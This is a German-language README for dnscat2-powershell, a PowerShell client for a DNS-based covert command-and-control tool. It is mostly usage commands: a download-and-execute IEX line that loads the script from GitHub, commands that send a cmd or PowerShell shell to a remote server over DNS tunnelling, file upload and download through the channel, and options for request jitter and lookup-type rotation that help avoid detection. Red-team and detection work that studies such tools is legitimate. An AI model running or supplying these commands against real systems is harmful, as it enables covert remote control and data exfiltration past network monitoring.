
Ein Powershell-Client für dnscat2, ein verschlüsseltes DNS-Befehls- und Kontrolltool.
dnscat2 ist ein DNS-Covert-Channel-Tool von @iagox86 (Ron Bowes), das zur Übertragung von Daten über DNS-Anfragen verwendet wird.
Dies ist eine Powershell-Version des dnscat2 C-Clients.
Klicken Sie hier für einen Blogbeitrag, der eine detailliertere Erklärung des Zwecks dieses Skripts und seiner Verwendung bietet.
Um dieses Skript zu verwenden, benötigen Sie den Ruby-dnscat2-Server. Stellen Sie sicher, dass Sie die Option --no-cache beim Ausführen des Servers hinzufügen. Dieser Client ist mit dem Caching des Servers inkompatibel.
Installieren Sie zuerst den dnscat2-Server. Starten Sie den Server mit deaktiviertem Caching mit --no-cache. Der Befehl zum Starten Ihres Servers sollte in etwa so aussehen: ruby dnscat2.rb --dns="domain=example.com" --no-cache
Starten Sie als nächstes Windows Powershell (Version 2.0 oder höher). Sie können diesen Befehl verwenden, um die dnscat2-Powershell-Funktionen zu laden:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 ist die eigentliche Funktion, die als Client verwendet wird. Geben Sie den dnscat2-Server mit -Domain an.
Starten Sie eine Befehlssitzung und senden Sie DNS-Anfragen an 8.8.8.8 auf Port 53:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
Senden Sie eine cmd-Shell und senden Sie DNS-Anfragen an den in Windows festgelegten Standard-DNS-Server:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
Starten Sie eine Konsolensitzung. Verwenden Sie nur CNAME-, MX- und AAAA-Anfragen:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
Verschlüsseln Sie die Sitzung nicht. Die Verschlüsselung ist standardmäßig aktiviert.
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
Der Client kann normale dnscat2-Befehle oder die Powershell-Version dieses Befehls verarbeiten. Um die Powershell-Version eines Befehls zu verwenden, setzen Sie bestimmte Parameter, die der Client erkennt (Dies sind Befehle, die von einer Befehlssitzung auf dem Server ausgeführt werden):
Starten Sie eine neue Sitzung, die eine Powershell-Shell simuliert, wie ExecPS:
exec psh
Laden Sie app.exe auf dem Server in einen Hex-String hoch, der in der $app-Powershell-Variable gespeichert ist:
upload app.exe hex:$app
Laden Sie das Byte-Array, das in der $app-Powershell-Variable gespeichert ist, auf dem Server in app.exe herunter:
download bytes:$app app.exe
-Domain <String> Die Domain, die vom dnscat2-Server verwendet wird.
-DNSServer <String> Der Hostname oder die IP-Adresse, an die DNS-Anfragen gesendet werden. (Standard: Von Windows festgelegt)
-DNSPort <Int32> Der Port, an den DNS-Anfragen gesendet werden. (Standard: 53)
-Command Starten Sie eine Befehlssitzung. (Standard)
-Exec <String> Verknüpfen Sie die E/A eines Prozesses mit der Dnscat2-Sitzung.
-Console Verknüpfen Sie die E/A der Konsole mit der Dnscat2-Sitzung.
-ExecPS Simulieren Sie eine Powershell-Sitzung und verknüpfen Sie die E/A mit der Dnscat2-Sitzung.
WARNUNG: Das Beenden beendet den gesamten dnscat2-Client, nicht nur die Sitzung.
-PreSharedSecret Legen Sie dasselbe Geheimnis auf dem Server fest, um sich zu authentifizieren und MITM zu verhindern.
-NoEncryption Keine Verschlüsselung verwenden.
-LookupTypes <String[]> Legen Sie ein Array von Lookup-Typen fest, zwischen denen zufällig gewechselt wird.
Es werden nur TXT-, MX-, CNAME-, A- und AAAA-Einträge unterstützt. Standard: @(TXT, MX, CNAME)
-Delay <Int32> Legen Sie eine Verzögerung zwischen den einzelnen Anfragen in Millisekunden fest. (Standard: 0)
-MaxRandomDelay <Int32> Legen Sie den Maximalwert einer zufälligen Verzögerung fest, die zur normalen Verzögerung hinzugefügt wird, in Millisekunden. (Standard: 0)
-MaxPacketSize <Int32> Maximale Länge eines dnscat2-Pakets. (Standard: 240)
-Name <String> Der Name Ihrer dnscat2-Sitzung. (Standard: Hostname)
dnscat2-powershell simuliert eine Powershell-Sitzung, indem Daten vom Server an Invoke-Expression übergeben werden. Nur stdout wird zurückgegeben, und Variablen bleiben erhalten, solange der Client läuft. Achten Sie auf Dinge, die Powershell beenden, wie "exit" und "break", da der gesamte dnscat2-powershell-Client beendet wird, nicht nur die ExecPS-Sitzung.